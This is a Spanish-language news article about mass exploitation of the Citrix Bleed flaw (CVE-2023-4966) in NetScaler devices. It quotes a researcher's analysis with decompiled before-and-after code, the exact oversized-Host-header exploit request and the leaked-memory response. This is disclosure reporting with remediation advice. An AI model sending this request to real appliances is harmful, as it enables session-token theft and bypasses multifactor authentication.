«Esta vulnerabilidad está ahora bajo explotación masiva». La chinche sangrante de Citrix pica con fuerza

Una vulnerabilidad que permite a los atacantes eludir la autenticación multifactor y acceder a redes empresariales utilizando hardware vendido por Citrix está siendo explotada masivamente por piratas informáticos de ransomware a pesar de que hay un parche disponible desde hace tres semanas.

Citrix Bleed, el nombre común de la vulnerabilidad, tiene una clasificación de gravedad de 9,4 sobre 10 posibles, una designación relativamente alta para un simple error de divulgación de información. El motivo: la información divulgada puede incluir tokens de sesión, que el hardware asigna a dispositivos que ya han proporcionado credenciales con éxito, incluidos aquellos que proporcionan MFA. La vulnerabilidad, rastreada como CVE-2023-4966 y que reside en NetScaler Application Delivery Controller y NetScaler Gateway de Citrix, ha estado bajo explotación activa desde agosto. Citrix emitió un parche el 10 de octubre.

Repito: esto no es un simulacro.

Los ataques han aumentado recientemente, lo que llevó al investigador de seguridad Kevin Beaumont a declarar el sábado: «Esta vulnerabilidad está ahora bajo explotación masiva». Continuó diciendo: “Al hablar con múltiples organizaciones, están viendo una explotación generalizada”.

Dijo que hasta el sábado había encontrado aproximadamente 20.000 casos de dispositivos Citrix explotados en los que se habían robado tokens de sesión. Dijo que su estimación se basó en la ejecución de un conjunto de servidores que se hacen pasar por dispositivos Netscaler vulnerables para rastrear ataques oportunistas en Internet. Luego, Beaumont comparó esos resultados con otros datos, incluidos algunos proporcionados por Netflow y el motor de búsqueda Shodan.

Mientras tanto, GreyNoise, una empresa de seguridad que también implementa honeypots, mostraba exploits para CVE-2023-4966 provenientes de 135 direcciones IP cuando esta publicación se publicó en Ars. Eso es un aumento de 27 veces con respecto a las cinco IP detectadas que GreyNoise vio hace cinco días.

Las cifras más recientes disponibles de la organización de seguridad Shadowserver mostraron que había aproximadamente 5.500 dispositivos sin parches. Beaumont ha reconocido que la estimación contradice su estimación de 20.000 dispositivos comprometidos. No está claro de inmediato qué estaba causando la discrepancia.

La vulnerabilidad es relativamente fácil de explotar para personas experimentadas. Una simple ingeniería inversa del parche lanzado por Citrix muestra las funciones que son vulnerables y, a partir de ahí, no es difícil escribir código que las explote. Para facilitar aún más los ataques, hay disponibles en línea un puñado de exploits de prueba de concepto.

En un análisis técnico detallado, los investigadores de Assetnote escribieron:

Encontramos dos funciones que destacaron ns_aaa_oauth_send_openid_config y ns_aaa_oauthrp_send_openid_config. Ambas funciones realizan una operación similar, implementan el punto final OpenID Connect Discovery. Se puede acceder a las funciones sin autenticación a través del /oauth/idp/.well-known/openid-configuration y /oauth/rp/.well-known/openid-configuration puntos finales respectivamente.

Ambas funciones también incluyeron el mismo parche, una verificación de límites adicional antes de enviar la respuesta. Esto se puede ver en los fragmentos a continuación que muestran el antes y el después de ns_aaa_oauth_send_openid_config.

Original

iVar3 = snprintf(print_temp_rule,0x20000,
           	""issuer": "https://%.*s", "authorization_endpoint": "https://%.*s/oauth/ idp/login", "token_endpoint": "https://%.*s/oauth/idp/token", "jwks_uri":  "https://%.*s/oauth/idp/certs", "response_types_supported": ["code", "toke n", "id_token"], "id_token_signing_alg_values_supported": ["RS256"], "end _session_endpoint": "https://%.*s/oauth/idp/logout", "frontchannel_logout_sup ported": true, "scopes_supported": ["openid", "ctxs_cc"], "claims_support ed": ["sub", "iss", "aud", "exp", "iat", "auth_time", "acr", "amr ", "email", "given_name", "family_name", "nickname"], "userinfo_endpoin t": "https://%.*s/oauth/idp/userinfo", "subject_types_supported": ["public"]"
           	,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);
authv2_json_resp = 1;
iVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,iVar3);

Parcheado

uVar7 = snprintf(print_temp_rule,0x20000,
           	""issuer": "https://%.*s", "authorization_endpoint": "https://%.*s/oauth/ idp/login", "token_endpoint": "https://%.*s/oauth/idp/token", "jwks_uri":  "https://%.*s/oauth/idp/certs", "response_types_supported": ["code", "toke n", "id_token"], "id_token_signing_alg_values_supported": ["RS256"], "end _session_endpoint": "https://%.*s/oauth/idp/logout", "frontchannel_logout_sup ported": true, "scopes_supported": ["openid", "ctxs_cc"], "claims_support ed": ["sub", "iss", "aud", "exp", "iat", "auth_time", "acr", "amr ", "email", "given_name", "family_name", "nickname"], "userinfo_endpoin t": "https://%.*s/oauth/idp/userinfo", "subject_types_supported": ["public"]"
           	,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);
uVar4 = 0x20;
if (uVar7 < 0x20000) 
	authv2_json_resp = 1;
	iVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,uVar7);
	...

La función es bastante simple, genera una carga útil JSON para la configuración de OpenID y usa snprintf para insertar el nombre de host del dispositivo en las ubicaciones apropiadas de la carga útil. En la versión original, la respuesta se envía inmediatamente. En la versión parcheada, la respuesta solo se envía si snprintf devuelve un valor menor que 0x20000.

La vulnerabilidad se produce porque el valor de retorno de snprintf se utiliza para determinar cuántos bytes se envían al cliente por ns_vpn_send_response. Esto es un problema porque snprintf no devuelve cuántos bytes hizo escribir en el buffer, snprintf devuelve cuántos bytes tendría escrito en el búfer si el búfer era lo suficientemente grande.

Para explotar esto, todo lo que teníamos que hacer era descubrir cómo hacer que la respuesta excediera el tamaño del búfer de 0x20000 bytes. La aplicación entonces respondería con el búfer completamente lleno, más cualquier memoria que siguiera inmediatamente al print_temp_rule buffer.

‍Explotación del punto final

Inicialmente pensamos que el punto final probablemente no sería explotable. Los únicos datos que se insertaron fueron el nombre de host, que es algo que necesitaba acceso de administrador para configurar. Por suerte para nosotros, nos equivocamos y el valor insertado en la carga útil no provino del nombre de host configurado. En realidad vino del HTTP Host encabezamiento.

También tuvimos suerte de que NetScaler inserte el nombre de host en la carga útil seis veces, ya que esto significaba que podíamos alcanzar el límite del búfer de 0x20000 bytes sin tener problemas porque el Host El encabezado o toda la solicitud era demasiado larga.

Armamos la siguiente solicitud y la enviamos a nuestra instancia de NetScaler.

GET /oauth/idp/.well-known/openid-configuration HTTP/1.1
Host: a <repeated 24812 times>
Connection: close

Recibimos la respuesta que se muestra a continuación con los caracteres no imprimibles eliminados.

HTTP/1.1 200 OK
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 147441
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: application/json; charset=utf-8
X-Citrix-Application: Receiver for Web

{"issuer": "https://aaaaa ...<omitted>... aaaaaaaaaaaaaaaaí§¡
ð
í§¡-ª¼tÙÌåDx013.1.48.47à
d98cd79972b2637450836d4009793b100c3a01f2245525d5f4f58455e445a4a42HTTP/1.1 200 OK
Content-Length: @@@@@
Encode:@@@
Cache-control: no-cache
Pragma: no-cache
Content-Type: text/html
Set-Cookie: NSC_AAAC=@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@;Secure;HttpOnly;Path=/

"categories":[],"resources":[],"subscriptionsEnabled":false,"username":null
ð
å
å
PÏÏ
H¡
éÒÏ
eGÁ"RDEFAULT
ò #pack200-gzip
compressdeflategzip
dentity
þÿÿÿÿÿ
©VPN_GLOBALÿÿÿÿÿÿ   è"AAA_PARAMí

Pudimos ver claramente una gran cantidad de memoria perdida inmediatamente después de la carga útil JSON. Si bien muchos de ellos eran bytes nulos, había información sospechosa en la respuesta.

El nombre Citrix Bleed es una alusión a Heartbleed, una vulnerabilidad de divulgación de información crítica diferente que puso patas arriba a Internet en 2014. Esa vulnerabilidad, que residía en la biblioteca de códigos OpenSSL, fue objeto de explotación masiva y permitió el robo de contraseñas y claves de cifrado. , credenciales bancarias y todo tipo de información confidencial. Citrix Bleed no es tan grave porque hay menos dispositivos vulnerables en uso.

Pero Citrix Bleed sigue siendo bastante malo. Las organizaciones deben considerar que todos los dispositivos Netscaler se han visto comprometidos. Esto significa parchear los dispositivos restantes sin parchear. Luego, se deben rotar todas las credenciales para garantizar que se invaliden los tokens de sesión que puedan haberse filtrado. Por último, las organizaciones deben inspeccionar sus dispositivos e infraestructura en busca de signos de compromiso. La firma de seguridad Mandiant tiene orientación detallada sobre seguridad aquí.